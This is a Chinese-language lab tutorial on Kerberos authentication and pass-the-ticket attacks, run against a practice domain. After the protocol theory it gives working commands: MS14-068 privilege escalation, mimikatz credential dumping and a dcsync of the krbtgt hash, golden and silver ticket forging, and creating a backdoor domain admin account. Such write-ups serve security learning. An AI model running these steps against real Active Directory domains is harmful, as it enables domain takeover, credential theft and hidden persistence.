内网渗透之PPT票据传递攻击(Pass the Ticket)

内网渗透之PPT票据传递攻击(Pass the Ticket)

本次实验环境靶场来自于暗月(moonsec)师傅，文中内容全由个人理解编制，若有错处，大佬勿喷，个人学艺不精；本文中提到的任何技术都源自于靶场练习，仅供学习参考，请勿利用文章内的相关技术从事非法测试，如因产生的一切不良后果与文章作者无关。

前言

在了解票据传递攻击之前我们先了解一下，Kerberos 协议& Kerberos 认证原理。以下都是一些理论知识觉得不喜欢的可直接跳到后面（其实我也没弄懂）。

Kerberos 协议& Kerberos 认证原理

Kerberos 协议是一种计算机网络授权协议，用来在非安全网络中，对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下， Kerberos 作为一种可信任的第三方认证服务，是通过传统的密码技术（如：共享密钥）执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要，白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。

为了让我们能够更轻松地理解后文对认证原理的讲解，你需要先了解以下几个关键角色：

• 角色 作用

• Domain Controller 域控制器，简称 DC，一台计算机，实现用户、计算机的统一管理。

• Key Distribution Center 秘钥分发中心，简称 KDC，默认安装在域控里，包括 AS 和 TGS。

• Authentication Service 身份验证服务，简称 AS，用于 KDC对 Client 认证。

• Ticket Grantng Service 票据授予服务，简称 TGS，用于KDC 向 Client 和 Server 分发

• Session Key （临时秘钥）。

• Active Directory 活动目录，简称 AD，用于存储用户、用户组、域相关的信息。

• Client 客户端，指用户。

• Server 服务端，可能是某台计算机，也可能是某个服务。

打个比方：当 whoami 要和 bunny 进行通信的时候，whoami 就需要向 bunny 证明自己是 whoami，直接的方式就是 whoami 用二人之间的秘密做秘钥加密明文文字生成密文，把密文和明文文字一块发送给 bunny，bunny 再用秘密解密得到明文，把明文和明文文字进行对比，若一致，则证明对方是 whoami。但是网络中，密文和文字很有可能被窃取，并且只要时间足够，总能破解得到秘钥。所以不能使用这种长期有效的秘钥，要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供，即 KDC（Key Distribution Center）秘钥分发中心。

Kerberos 认证原理

首先我们根据以下这张图来大致描述以下整个认证过程：

1. 首先 Client 向域控制器 DC 请求访问 Server，DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。
2. 认证通过后返回 TGT 给 Client，Client 得到 TGT（Ticket GrantingTicket）。
3. Client 继续拿着 TGT 请求 DC 访问 Server，TGS 通过 Client 消息中的 TGT，判断 Client 是否有访问权限。
4. 如果有，则给 Client 有访问 Server 的权限 Ticket，也叫 ST（ServiceTicket）。
5. Client 得到 Ticket 后，再去访问 Server，且该 Ticket 只针对这一个 Server有效。
6. 最终 Server 和 Client 建立通信。

下面讲一下详细的认证步骤，大概分为三个阶段：

• ASREQ & ASREP
• TGSREQ & TGSREP
• AP-REQ & AP-REP

ASREQ & ASREP

该阶段是 Client 和 AS 的认证，通过认证的客户端将获得 TGT 认购权证。

当域内某个客户端用户 Client 视图访问域内的某个服务，于是输入用户名和密码，此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个 AS_REQ 认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据，以及一些其他信息。

当 Client 发送身份信息给 AS 后，AS 会先向活动目录 AD 请求，询问是否有此Client 用户，如果有的话，就会取出它的 NTLM-Hash，并对 AS_REQ 请求中加密的时间戳进行解密，如果解密成功，则证明客户端提供的密码正确，如果时间戳在五分钟之内，则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS，并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此Session-key AS 用于确保客户端和 KGS 之间的通信安全。还有一部分内容就是 TGT：使用 KDC 一个特定账户的 NTLM-Hash 对 Session-keyAS、时间戳、Client-info 进行的加密。这个特定账户就是创建域控时自动生成的Krbtgt 用户，然后将这两部分以及 PAC 等信息回复给 Client，即 AS_REP 。PAC 中包含的是用户的 SID、用户所在的组等一些信息。

AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀，Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和TGT，因此可以相互转化。

至此，Kerberos 认证的第一步完成。

TGSREQ & TGSREP

该阶段是 Client 和 TGS 的认证，通过认证的客户端将获得 ST 服务票据。

客户端 Client 收到 AS 的回复 AS_REP 后分别获得了 TGT 和加密的 Session-KeyAS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS，然后它会在本地缓存此 TGT 和原始的 Session-Key AS，如果现在它就需要访问某台服务器上的服务，他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据（也叫Ticket）。

此时 Client 会使用 Session-Key AS 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的，Client 无法解密，所以 Client 会将 TGT 作为另一部分继续发送给 TGS。两部分组成的请求被称为TGS_REQ 。

TGS 收到该请求，用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS、时间戳、Client-info 以及 Server-info。再用 Session-key AS 解密第一部分内容，得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较，如果时间戳跟当前时间相差太久，就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client信息进行比较，如果两个相等的话，还会继续判断 Client 有没有权限访问 Server，如果都没有问题，认证成功。认证成功后，KGS 会生成一个 Session-key TGS，并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。

另一部分是使用服务器 Server 的 NTLM-Hash 加密 Session-key TGS、时间戳以及Client-info 等数据生成的 ST。然后 TGS 将这两部分信息回复给 Client，即TGS_REP 。

至此，Client 和 KDC 的通信就结束了，然后是和 Server 进行通信。

AP-REQ & AP-REP

该阶段是 Client 和 TGS 的认证，通过认证的客户端将与服务器建立连接。

客户端 Client 收到 TGS_REP 后，分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS，当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密，无法解密，所以会原封不动发送给 Server。两部分一块发送给 Server，这个请求即是AP_REQ 。Server 收到 AP_REQ 请求后，用自身的 Server NTLM-Hash 解密了 ST，得到Session-Key TGS，再解密出 Client-info、时间戳等数据。然后与 ST 的 Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为 8 小时。通过客户端身份验证后，服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限，DC 拿到PAC 后进行解密，然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息，然后将结果返回给服务端，服务端再将此信息域用户请求的服务资源的 ACL进行对比，最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的 AP-REP 并与 Client 建立通信。

至此，Kerberos 认证流程基本结束。

PAC

我们在前面关于 Kerberos 认证流程的介绍中提到了 PAC（Privilege AttributeCertificate）这个东西，这是微软为了访问控制而引进的一个扩展，即特权访问证书。

在上面的认证流程中，如果没有 PAC 的访问控制作用的话，只要用户的身份验证正确，那么就可以拿到 TGT，有了 TGT，就可以拿到 ST，有了 ST ，就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 “Who am i?” 的问题，而没有解决 “What can I do?” 的问题。

为了解决上面的这个问题，微软引进了 PAC。即 KDC 向客户端 Client 返回 AS_REP时插入了 PAC，PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ 请求后，首先会对客户端身份验证。通过客户端身份验证后，服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限，DC 拿到 PAC 后进行解密，然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息，然后将结果返回给服务端，服务端再将此信息域用户请求的服务资源的ACL 进行对比，最后决定是否给用户提供相关的服务。

但是在有些服务中并没有验证 PAC 这一步，这也是白银票据能成功的前提，因为就算拥有用户的 Hash，可以伪造 TGS，但是也不能制作 PAC，PAC 当然也验证不成功，但是有些服务不去验证 PAC，这是白银票据成功的前提。

票据传递攻击

终于又到了我最喜欢的实战环节，这里介绍域内常用的两种攻击方式：黄金票据（Golden ticket）、白银票据 （SILVER ticket）。

无论是 黄金票据 还是 白银票据 都需要获得域控的权限以获得 NTLM hash个人感觉这两个攻击更适合用于权限维持。毕竟没有域控(DC)的权限也是白搭更别说什么票据传递攻击了。

所以我先介绍一个域用户提权为域管理员的漏洞 MS14-068 ，这个漏洞可以把普通用户提权为域管理员这样我们就可以获得 NTLM hash以进行票据传递攻击。

MS14-068（CVE-2014-6324） 域提权

利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 ：

 systeminfo |find "3011780"

如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。

我们先进行一下域的信息收集。

net time

ping 08server-dc.moonsec.fbi

我们先使用IPC$访问一下试一下：

dir \\08server-dc.moonsec.fbi\c$

上传 mimikatz 和 MS14-068 提权工具， whoami /user 或者 whoami/all 查看 test用户的 suid：

whoami /user
whoami /all

使用方法：

# ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi

使用 mimikatz 清空之前缓存的凭证，导入伪造的凭证：

# 进一步提升权限
privilege::debug

# 清空票据
kerberos::purge

# 票据文件地址
kerberos::ptc C:\Users\Administrator\Desktop\mimikatz_trunk\x64\TGT_test@moonsec.fbi.ccache

再输入 dir \\08server-dc.moonsec.fbi\c$ ，发现访问成功，现在我们有域管的权限:

我们直接添加一个域管账号密码

net user lian QWEasd123 /add /domain
net group "Domain Admins" lian /add /domain

这样我们就实现了对域控的控制，为了权限维持我们还可以做一个影子账号实现对服务器的长久控制。

金票 （Golden ticket）

原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中，krbtgt 的
NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash，就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

特点

不需要与 AS 进行交互，需要用户 krbtgt 的 Hash

伪造金票

伪造金票的所需条件：

• 域名称
• 域的 SID 值
• 域的 KRBTGT 账号的 HASH
• 伪造任意用户名

登录域管用户，执行 whoami 可以看到是 administrator 用户：

先使用一下命令导出用户 krbtgt 的 hash：

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit"> passwordhash.txt

我们利用 mimikatz在其他主机 生成金票生成.kirbi 文件并保存：

mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit

金票的使用 ( 普通域账户，利用黄金票据，创建域管账户)

登录域内普通用户，通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。

导入票据之前访问域控

dir \\08server-dc.moonsec.fbi\c$

导入黄金票据

kerberos::purge
kerberos::ptt C:\Users\test\mimikatz_trunk\x64\ticket.kirbi

注入内存中后可以再来访问 dc 可以成功

dir \\08server-dc.moonsec.fbi\c$

银票 （SILVER TICKET）

原理

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。
在 Kerberos 认证的第三部，Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求，Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。

所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

特点

• 不需要与 KDC 进行交互
• 需要 server 域管理员的 NTLM hash

银票的使用

登录上面创建的域管用户，用管理员权限打开 CMD，cd 到 mimikatz 存放的目录，去执行 mimikatz 的命令，得到 SID 和 NTLM。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

这里我们需要域管理员的SID 和 NTLM hash。

在其他主机的管理员用户先使用 mimikatz 清空票据，再导入伪造的票据,具体伪造票据的命令:

# 使用方法：
# kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
kerberos::purge
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /target:08server-dc.moonsec.fbi /service:cifs /rc4:32ed87bdb5fdc5e9cba88547376818d4 /user:administrator /ptt

其中的用户名可以随便写，现在已经有域管的权限了。

服务类型可以从以下内容中来进行选择，因为我们没有 TGT 去不断申请 ticket，所以只能针对某一些服务来进行伪造。

金票和银票的区别

相同的地方

• 金票：需要获取域管的权限进行读取hash
• 银票：需要获取域管的权限进行读取hash

获取的权限不同

• 金票：伪造的 TGT，可以获取任意 Kerberos 的访问权限
• 银票：伪造的 ST，只能访问指定的服务，如 CIFS

认证流程不同

• 金票：同 KDC 交互，但不同 AS 交互
• 银票：不同 KDC 交互，直接访问 Server

加密方式不同

• 金票：由 krbtgt NTLM Hash 加密
• 银票：由服务账号 NTLM Hash 加密

利用方式不同

• 金票：在利用时需要使用域用户进行利用
• 银票：在利用时不能使用域用户进行利用